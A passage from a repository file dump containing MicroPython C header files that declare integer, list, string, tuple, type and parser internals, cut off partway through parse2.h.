    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJINT_H\n#define MICROPY_INCLUDED_PY_OBJINT_H\n\n#include \"py/mpz.h\"\n#include \"py/obj.h\"\n\ntypedef struct _mp_obj_int_t {\n    mp_obj_base_t base;\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG\n    mp_longint_impl_t val;\n#elif MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ\n    mpz_t mpz;\n#endif\n} mp_obj_int_t;\n\nextern const mp_obj_int_t mp_maxsize_obj;\n\n#if MICROPY_PY_BUILTINS_FLOAT\nmp_float_t mp_obj_int_as_float_impl(mp_obj_t self_in);\n#endif\n\nsize_t mp_int_format_size(size_t num_bits, int base, const char *prefix, char comma);\n\nmp_obj_int_t *mp_obj_int_new_mpz(void);\n\nvoid mp_obj_int_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind);\nchar *mp_obj_int_formatted(char **buf, size_t *buf_size, size_t *fmt_size, mp_const_obj_t self_in,\n                           int base, const char *prefix, char base_char, char comma);\nchar *mp_obj_int_formatted_impl(char **buf, size_t *buf_size, size_t *fmt_size, mp_const_obj_t self_in,\n                                int base, const char *prefix, char base_char, char comma);\nmp_int_t mp_obj_int_hash(mp_obj_t self_in);\nmp_obj_t mp_obj_int_from_bytes_impl(bool big_endian, size_t len, const byte *buf);\nvoid mp_obj_int_to_bytes_impl(mp_obj_t self_in, bool big_endian, size_t len, byte *buf);\nint mp_obj_int_sign(mp_obj_t self_in);\nmp_obj_t mp_obj_int_abs(mp_obj_t self_in);\nmp_obj_t mp_obj_int_unary_op(mp_uint_t op, mp_obj_t o_in);\nmp_obj_t mp_obj_int_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in);\nmp_obj_t mp_obj_int_binary_op_extra_cases(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in);\nmp_obj_t mp_obj_int_pow3(mp_obj_t base, mp_obj_t exponent,  mp_obj_t modulus);\n\n#endif // MICROPY_INCLUDED_PY_OBJINT_H\n"
  },
  {
    "path": "micropython/inc/py/objlist.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJLIST_H\n#define MICROPY_INCLUDED_PY_OBJLIST_H\n\n#include \"py/obj.h\"\n\ntypedef struct _mp_obj_list_t {\n    mp_obj_base_t base;\n    size_t alloc;\n    size_t len;\n    mp_obj_t *items;\n} mp_obj_list_t;\n\n#endif // MICROPY_INCLUDED_PY_OBJLIST_H\n"
  },
  {
    "path": "micropython/inc/py/objmodule.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJMODULE_H\n#define MICROPY_INCLUDED_PY_OBJMODULE_H\n\n#include \"py/obj.h\"\n\nextern const mp_map_t mp_builtin_module_map;\nextern const mp_map_t mp_builtin_module_weak_links_map;\n\nmp_obj_t mp_module_get(qstr module_name);\nvoid mp_module_register(qstr qstr, mp_obj_t module);\n\n#endif // MICROPY_INCLUDED_PY_OBJMODULE_H\n"
  },
  {
    "path": "micropython/inc/py/objstr.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJSTR_H\n#define MICROPY_INCLUDED_PY_OBJSTR_H\n\n#include \"py/obj.h\"\n\ntypedef struct _mp_obj_str_t {\n    mp_obj_base_t base;\n    mp_uint_t hash;\n    // len == number of bytes used in data, alloc = len + 1 because (at the moment) we also append a null byte\n    size_t len;\n    const byte *data;\n} mp_obj_str_t;\n\n#define MP_DEFINE_STR_OBJ(obj_name, str) mp_obj_str_t obj_name = {{&mp_type_str}, 0, sizeof(str) - 1, (const byte*)str}\n\n// use this macro to extract the string hash\n// warning: the hash can be 0, meaning invalid, and must then be explicitly computed from the data\n#define GET_STR_HASH(str_obj_in, str_hash) \\\n    mp_uint_t str_hash; if (MP_OBJ_IS_QSTR(str_obj_in)) \\\n    { str_hash = qstr_hash(MP_OBJ_QSTR_VALUE(str_obj_in)); } else { str_hash = ((mp_obj_str_t*)MP_OBJ_TO_PTR(str_obj_in))->hash; }\n\n// use this macro to extract the string length\n#define GET_STR_LEN(str_obj_in, str_len) \\\n    size_t str_len; if (MP_OBJ_IS_QSTR(str_obj_in)) \\\n    { str_len = qstr_len(MP_OBJ_QSTR_VALUE(str_obj_in)); } else { str_len = ((mp_obj_str_t*)MP_OBJ_TO_PTR(str_obj_in))->len; }\n\n// use this macro to extract the string data and length\n#if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C\nconst byte *mp_obj_str_get_data_no_check(mp_obj_t self_in, size_t *len);\n#define GET_STR_DATA_LEN(str_obj_in, str_data, str_len) \\\n    size_t str_len; const byte *str_data = mp_obj_str_get_data_no_check(str_obj_in, &str_len);\n#else\n#define GET_STR_DATA_LEN(str_obj_in, str_data, str_len) \\\n    const byte *str_data; size_t str_len; if (MP_OBJ_IS_QSTR(str_obj_in)) \\\n    { str_data = qstr_data(MP_OBJ_QSTR_VALUE(str_obj_in), &str_len); } \\\n    else { str_len = ((mp_obj_str_t*)MP_OBJ_TO_PTR(str_obj_in))->len; str_data = ((mp_obj_str_t*)MP_OBJ_TO_PTR(str_obj_in))->data; }\n#endif\n\nmp_obj_t mp_obj_str_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args);\nvoid mp_str_print_json(const mp_print_t *print, const byte *str_data, size_t str_len);\nmp_obj_t mp_obj_str_format(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs);\nmp_obj_t mp_obj_str_split(size_t n_args, const mp_obj_t *args);\nmp_obj_t mp_obj_new_str_of_type(const mp_obj_type_t *type, const byte* data, size_t len);\n\nmp_obj_t mp_obj_str_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in);\nmp_int_t mp_obj_str_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags);\n\nconst byte *str_index_to_ptr(const mp_obj_type_t *type, const byte *self_data, size_t self_len,\n                             mp_obj_t index, bool is_slice);\nconst byte *find_subbytes(const byte *haystack, size_t hlen, const byte *needle, size_t nlen, int direction);\n\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_encode_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_find_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_rfind_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_index_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_rindex_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(str_join_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_split_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(str_splitlines_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_rsplit_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_startswith_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_endswith_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_strip_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_lstrip_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_rstrip_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(str_format_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_replace_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_count_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(str_partition_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(str_rpartition_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(str_center_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(str_lower_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(str_upper_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(str_isspace_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(str_isalpha_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(str_isdigit_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(str_isupper_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(str_islower_obj);\n\n#endif // MICROPY_INCLUDED_PY_OBJSTR_H\n"
  },
  {
    "path": "micropython/inc/py/objstringio.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJSTRINGIO_H\n#define MICROPY_INCLUDED_PY_OBJSTRINGIO_H\n\n#include \"py/obj.h\"\n\ntypedef struct _mp_obj_stringio_t {\n    mp_obj_base_t base;\n    vstr_t *vstr;\n    // StringIO has single pointer used for both reading and writing\n    mp_uint_t pos;\n    // Underlying object buffered by this StringIO\n    mp_obj_t ref_obj;\n} mp_obj_stringio_t;\n\n#endif // MICROPY_INCLUDED_PY_OBJSTRINGIO_H\n"
  },
  {
    "path": "micropython/inc/py/objtuple.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJTUPLE_H\n#define MICROPY_INCLUDED_PY_OBJTUPLE_H\n\n#include \"py/obj.h\"\n\ntypedef struct _mp_obj_tuple_t {\n    mp_obj_base_t base;\n    size_t len;\n    mp_obj_t items[];\n} mp_obj_tuple_t;\n\ntypedef struct _mp_rom_obj_tuple_t {\n    mp_obj_base_t base;\n    size_t len;\n    mp_rom_obj_t items[];\n} mp_rom_obj_tuple_t;\n\nvoid mp_obj_tuple_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind);\nmp_obj_t mp_obj_tuple_unary_op(mp_uint_t op, mp_obj_t self_in);\nmp_obj_t mp_obj_tuple_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs);\nmp_obj_t mp_obj_tuple_subscr(mp_obj_t base, mp_obj_t index, mp_obj_t value);\nmp_obj_t mp_obj_tuple_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf);\n\nextern const mp_obj_type_t mp_type_attrtuple;\n\n#define MP_DEFINE_ATTRTUPLE(tuple_obj_name, fields, nitems, ...) \\\n    const mp_rom_obj_tuple_t tuple_obj_name = { \\\n        .base = {&mp_type_attrtuple}, \\\n        .len = nitems, \\\n        .items = { __VA_ARGS__ , MP_ROM_PTR((void*)fields) } \\\n    }\n\n#if MICROPY_PY_COLLECTIONS\nvoid mp_obj_attrtuple_print_helper(const mp_print_t *print, const qstr *fields, mp_obj_tuple_t *o);\n#endif\n\nmp_obj_t mp_obj_new_attrtuple(const qstr *fields, size_t n, const mp_obj_t *items);\n\n#endif // MICROPY_INCLUDED_PY_OBJTUPLE_H\n"
  },
  {
    "path": "micropython/inc/py/objtype.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJTYPE_H\n#define MICROPY_INCLUDED_PY_OBJTYPE_H\n\n#include \"py/obj.h\"\n\n// instance object\n// creating an instance of a class makes one of these objects\ntypedef struct _mp_obj_instance_t {\n    mp_obj_base_t base;\n    mp_map_t members;\n    mp_obj_t subobj[];\n    // TODO maybe cache __getattr__ and __setattr__ for efficient lookup of them\n} mp_obj_instance_t;\n\n// this needs to be exposed for MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE to work\nvoid mp_obj_instance_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest);\n\n// these need to be exposed so mp_obj_is_callable can work correctly\nbool mp_obj_instance_is_callable(mp_obj_t self_in);\nmp_obj_t mp_obj_instance_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args);\n\n#define mp_obj_is_instance_type(type) ((type)->make_new == mp_obj_instance_make_new)\n#define mp_obj_is_native_type(type) ((type)->make_new != mp_obj_instance_make_new)\n// this needs to be exposed for the above macros to work correctly\nmp_obj_t mp_obj_instance_make_new(const mp_obj_type_t *self_in, size_t n_args, size_t n_kw, const mp_obj_t *args);\n\n#endif // MICROPY_INCLUDED_PY_OBJTYPE_H\n"
  },
  {
    "path": "micropython/inc/py/parse.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_PARSE_H\n#define MICROPY_INCLUDED_PY_PARSE_H\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"py/parse2.h\"\n#include \"py/obj.h\"\n\n#if !MICROPY_USE_SMALL_HEAP_COMPILER\n\nstruct _mp_lexer_t;\n\n// a mp_parse_node_t is:\n//  - 0000...0000: no node\n//  - xxxx...xxx1: a small integer; bits 1 and above are the signed value, 2's complement\n//  - xxxx...xx00: pointer to mp_parse_node_struct_t\n//  - xx...xx0010: an identifier; bits 4 and above are the qstr\n//  - xx...xx0110: a string; bits 4 and above are the qstr holding the value\n//  - xx...xx1010: a string of bytes; bits 4 and above are the qstr holding the value\n//  - xx...xx1110: a token; bits 4 and above are mp_token_kind_t\n\n#define MP_PARSE_NODE_NULL      (0)\n#define MP_PARSE_NODE_SMALL_INT (0x1)\n#define MP_PARSE_NODE_ID        (0x02)\n#define MP_PARSE_NODE_STRING    (0x06)\n#define MP_PARSE_NODE_BYTES     (0x0a)\n#define MP_PARSE_NODE_TOKEN     (0x0e)\n\ntypedef uintptr_t mp_parse_node_t; // must be pointer size\n\ntypedef struct _mp_parse_node_struct_t {\n    uint32_t source_line;       // line number in source file\n    uint32_t kind_num_nodes;    // parse node kind, and number of nodes\n    mp_parse_node_t nodes[];    // nodes\n} mp_parse_node_struct_t;\n\n// macros for mp_parse_node_t usage\n// some of these evaluate their argument more than once\n\n#define MP_PARSE_NODE_IS_NULL(pn) ((pn) == MP_PARSE_NODE_NULL)\n#define MP_PARSE_NODE_IS_LEAF(pn) ((pn) & 3)\n#define MP_PARSE_NODE_IS_STRUCT(pn) ((pn) != MP_PARSE_NODE_NULL && ((pn) & 3) == 0)\n#define MP_PARSE_NODE_IS_STRUCT_KIND(pn, k) ((pn) != MP_PARSE_NODE_NULL && ((pn) & 3) == 0 && MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)(pn)) == (k))\n\n#define MP_PARSE_NODE_IS_SMALL_INT(pn) (((pn) & 0x1) == MP_PARSE_NODE_SMALL_INT)\n#define MP_PARSE_NODE_IS_ID(pn) (((pn) & 0x0f) == MP_PARSE_NODE_ID)\n#define MP_PARSE_NODE_IS_TOKEN(pn) (((pn) & 0x0f) == MP_PARSE_NODE_TOKEN)\n#define MP_PARSE_NODE_IS_TOKEN_KIND(pn, k) ((pn) == (MP_PARSE_NODE_TOKEN | ((k) << 4)))\n\n#define MP_PARSE_NODE_LEAF_KIND(pn) ((pn) & 0x0f)\n#define MP_PARSE_NODE_LEAF_ARG(pn) (((uintptr_t)(pn)) >> 4)\n#define MP_PARSE_NODE_LEAF_SMALL_INT(pn) (((mp_int_t)(intptr_t)(pn)) >> 1)\n#define MP_PARSE_NODE_STRUCT_KIND(pns) ((pns)->kind_num_nodes & 0xff)\n#define MP_PARSE_NODE_STRUCT_NUM_NODES(pns) ((pns)->kind_num_nodes >> 8)\n\nstatic inline mp_parse_node_t mp_parse_node_new_small_int(mp_int_t val) {\n    return (mp_parse_node_t)(MP_PARSE_NODE_SMALL_INT | ((mp_uint_t)val << 1));\n}\nstatic inline mp_parse_node_t mp_parse_node_new_leaf(size_t kind, mp_int_t arg) {\n    return (mp_parse_node_t)(kind | ((mp_uint_t)arg << 4));\n}\nbool mp_parse_node_is_const_false(mp_parse_node_t pn);\nbool mp_parse_node_is_const_true(mp_parse_node_t pn);\nbool mp_parse_node_get_int_maybe(mp_parse_node_t pn, mp_obj_t *o);\nint mp_parse_node_extract_list(mp_parse_node_t *pn, size_t pn_kind, mp_parse_node_t **nodes);\nvoid mp_parse_node_print(mp_parse_node_t pn, size_t indent);\n\ntypedef enum {\n    MP_PARSE_SINGLE_INPUT,\n    MP_PARSE_FILE_INPUT,\n    MP_PARSE_EVAL_INPUT,\n} mp_parse_input_kind_t;\n\ntypedef struct _mp_parse_t {\n    mp_parse_node_t root;\n    struct _mp_parse_chunk_t *chunk;\n} mp_parse_tree_t;\n\n// the parser will raise an exception if an error occurred\n// the parser will free the lexer before it returns\nmp_parse_tree_t mp_parse(struct _mp_lexer_t *lex, mp_parse_input_kind_t input_kind);\nvoid mp_parse_tree_clear(mp_parse_tree_t *tree);\n\n#endif // !MICROPY_USE_SMALL_HEAP_COMPILER\n\n#endif // MICROPY_INCLUDED_PY_PARSE_H\n"
  },
  {
    "path": "micropython/inc/py/parse2.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_PARSE2_H\n#define MICROPY_INCLUDED_PY_PARSE2_H\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"py/obj.h\"\n\n#if MICROPY_USE_SMALL_HEAP_COMPILER\n\nstruct _mp_lexer_t;\n\n#define MP_PT_NULL (0)\n#define MP_PT_TOKEN (1)\n#define MP_PT_SMALL_INT (3)\n#define MP_PT_STRING (4)\n#define MP_PT_BYTES (5)\n#define MP_PT_CONST_OBJECT (8)\n#define MP_PT_ID_BASE (10) // +16\n#define MP_PT_RULE_BASE (26) // +173-ish\n\n// macro to eliminate differences between original parser and this one\n#define MP_PARSE_NODE_IS_ID(pn) pt_is_any_id(pn)\n\ntypedef const byte *mp_parse_node_t;\n\nextern const byte pt_const_int0[];\n\nstatic inline const byte *pt_tok_extract(const byte *p, byte *tok) {\n    //assert(*p == MP_PT_TOKEN);\n    p += 1;\n    *tok = *p++;\n    return p;\n}\n\nstatic inline bool pt_is_null(const byte *p) {\n    return *p == MP_PT_NULL;\n}\n\nstatic inline bool pt_is_null_with_top(const byte *p, const byte *ptop) {\n    return p == ptop || *p == MP_PT_NULL;\n}\n\nstatic inline bool pt_is_small_int(const byte *p) {\n    return *p == MP_PT_SMALL_INT;\n}\n\nstatic inline bool pt_is_any_rule(const byte *p) {\n    return *p >= MP_PT_RULE_BASE;\n}\n\nstatic inline mp_uint_t pt_rule_extract_rule_id(const byte *p) {\n    return *p - MP_PT_RULE_BASE;\n}\n\nstatic inline bool pt_is_any_id(const byte *p) {\n    return *p >= MP_PT_ID_BASE && *p < MP_PT_RULE_BASE;\n}\n\nstatic inline bool pt_is_id(const byte *p, qstr qst) {\n    //assert(*p == MP_PT_ID_BASE);\n    return qst == ((mp_uint_t)p[1] | (((mp_uint_t)p[0] - MP_PT_ID_BASE) << 8));\n}\n\nstatic inline bool pt_is_any_tok(const byte *p) {\n    return p[0] == MP_PT_TOKEN;\n}\n\nstatic inline bool pt_is_tok(const byte *p, int tok) {\n    return p[0] == MP_PT_TOKEN && p[1] == tok;\n}\n\nstatic inline bool pt_is_rule(const byte *p, int rule) {\n    return *p == MP_PT_RULE_BASE + rule;\n}\n\nint pt_num_nodes(const byte *p, const byte *ptop);\nconst byte *pt_next(const byte *p);\n\n//const byte *pt_extract_id(const byte *p, qstr *qst);\nstatic inline const byte *pt_extract_id(const byte *p, qstr *qst) {\n    //assert(*p == MP_PT_ID_BASE);\n    *qst = p[1] | ((p[0] - MP_PT_ID_BASE) << 8);\n    return p + 2;\n}\n\nconst byte *pt_extract_const_obj(const byte *p, mp_uint_t *idx);\nmp_int_t pt_small_int_value(const byte *p);\nconst byte *pt_get_small_int(const byte 